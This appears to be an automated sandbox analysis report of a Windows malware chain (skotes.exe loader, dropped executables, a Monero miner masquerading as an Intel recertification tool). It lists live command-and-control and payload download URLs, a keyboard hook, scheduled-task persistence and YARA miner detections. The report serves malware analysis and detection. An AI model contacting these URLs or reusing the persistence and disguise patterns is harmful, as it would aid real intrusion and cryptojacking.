Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpT
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpTemp
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa
Source: skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcal
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpes
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpo
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpqYo30zpOYVp
Source: skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.0000000000598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeedB
Source: skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exem
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe4&M
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exel%
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeE
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: 4802836d37.exe, 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: svchost.exe, 00000025.00000002.2836976541.00000000008EC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: svchost.exe, 00000025.00000002.2836976541.00000000008EC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex
Source: skotes.exe, 00000006.00000002.3383542178.00000000005E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000020.00000002.2791286176.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000020.00000002.2791286176.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000020.00000002.2791286176.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955

Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:50000 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: 8_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,00000000

8_2_00408DBB

Source: d7691cd336.exe, 00000024.00000003.2816649342.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_6e1d12b5-9

Source: d7691cd336.exe, 00000024.00000003.2816649342.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_9c721b13-5

Source: Yara match	File source: 36.3.d7691cd336.exe.4ef0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.d7691cd336.exe.5110000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.svchost.exe.5300000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.svchost.exe.50e0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.svchost.exe.5300000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.d7691cd336.exe.5110000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.2816649342.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2822637005.0000000005300000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2816838324.0000000005110000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2821727826.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d7691cd336.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1484, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 32.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 32.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 50.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 50.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.8.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: random.exe_Y.exe	Static PE information: section name:
Source: random.exe_Y.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name:
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name: .idata
Source: 5b3f6dd868.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: d7691cd336.exe.6.dr	Static PE information: section name:
Source: d7691cd336.exe.6.dr	Static PE information: section name: .idata
Source: d7691cd336.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00B9CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00B9CB97

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 12_2_007996AC: free,GetFileInformationByHandle,DeviceIoControl,free,free,memmove,free,

12_2_007996AC

Source: C:\Users\user\Desktop\random.exe_Y.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_000A5C83	0_2_000A5C83
Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_000A735A	0_2_000A735A
Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_000E8860	0_2_000E8860
Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_001B8101	0_2_001B8101
Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_000A4DE0	0_2_000A4DE0
Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_000A4B30	0_2_000A4B30
Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: 0_2_001B7B6E	0_2_001B7B6E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC78BB	2_2_00BC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC8860	2_2_00BC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC7049	2_2_00BC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC31A8	2_2_00BC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B84B30	2_2_00B84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B84DE0	2_2_00B84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC2D10	2_2_00BC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC779B	2_2_00BC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB7F36	2_2_00BB7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC78BB	3_2_00BC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC8860	3_2_00BC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC7049	3_2_00BC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC31A8	3_2_00BC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B84B30	3_2_00B84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B84DE0	3_2_00B84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC2D10	3_2_00BC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC779B	3_2_00BC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BB7F36	3_2_00BB7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B8E530	6_2_00B8E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA6192	6_2_00BA6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC8860	6_2_00BC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B84B30	6_2_00B84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B84DE0	6_2_00B84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC2D10	6_2_00BC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA0E13	6_2_00BA0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC7049	6_2_00BC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC31A8	6_2_00BC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA1602	6_2_00BA1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC779B	6_2_00BC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC78BB	6_2_00BC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA3DF1	6_2_00BA3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BB7F36	6_2_00BB7F36
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_00405BFC	8_2_00405BFC
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_0040B0E0	8_2_0040B0E0
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_0040B0E4	8_2_0040B0E4
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_00419973	8_2_00419973
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_0040A900	8_2_0040A900
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_0040A270	8_2_0040A270
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_0040AC20	8_2_0040AC20
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_00409C20	8_2_00409C20
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_0040D480	8_2_0040D480
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_0040ED00	8_2_0040ED00
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_00409DD0	8_2_00409DD0
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_00419601	8_2_00419601
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_004196DB	8_2_004196DB
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_00418F40	8_2_00418F40
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007BF13E	12_2_007BF13E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007B5458	12_2_007B5458
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007B24C0	12_2_007B24C0
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007B47AC	12_2_007B47AC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007D8817	12_2_007D8817
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007A0DCC	12_2_007A0DCC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_0079B114	12_2_0079B114
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_0079F1B4	12_2_0079F1B4
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007AC278	12_2_007AC278
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007C2578	12_2_007C2578
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007D3528	12_2_007D3528
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007C066E	12_2_007C066E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007BD66C	12_2_007BD66C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007AD858	12_2_007AD858
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007B694C	12_2_007B694C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007C79DC	12_2_007C79DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007C99B8	12_2_007C99B8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007D49A5	12_2_007D49A5
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007DDA30	12_2_007DDA30
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007CFA0C	12_2_007CFA0C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007A7C68	12_2_007A7C68
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007DDC11	12_2_007DDC11
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007A8CA8	12_2_007A8CA8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007DDD00	12_2_007DDD00
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007B6E08	12_2_007B6E08
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_007AAF58	12_2_007AAF58
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_00798F18	12_2_00798F18

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe 3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B9D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B9D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B97A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B9D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BB8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B980C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00B9DF80 appears 82 times
Source: C:\Users\user\Desktop\random.exe_Y.exe	Code function: String function: 000B80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: String function: 004029A6 appears 44 times

Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6316 -s 656

Source: random.exe_Y.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 32.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 32.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 50.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 50.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
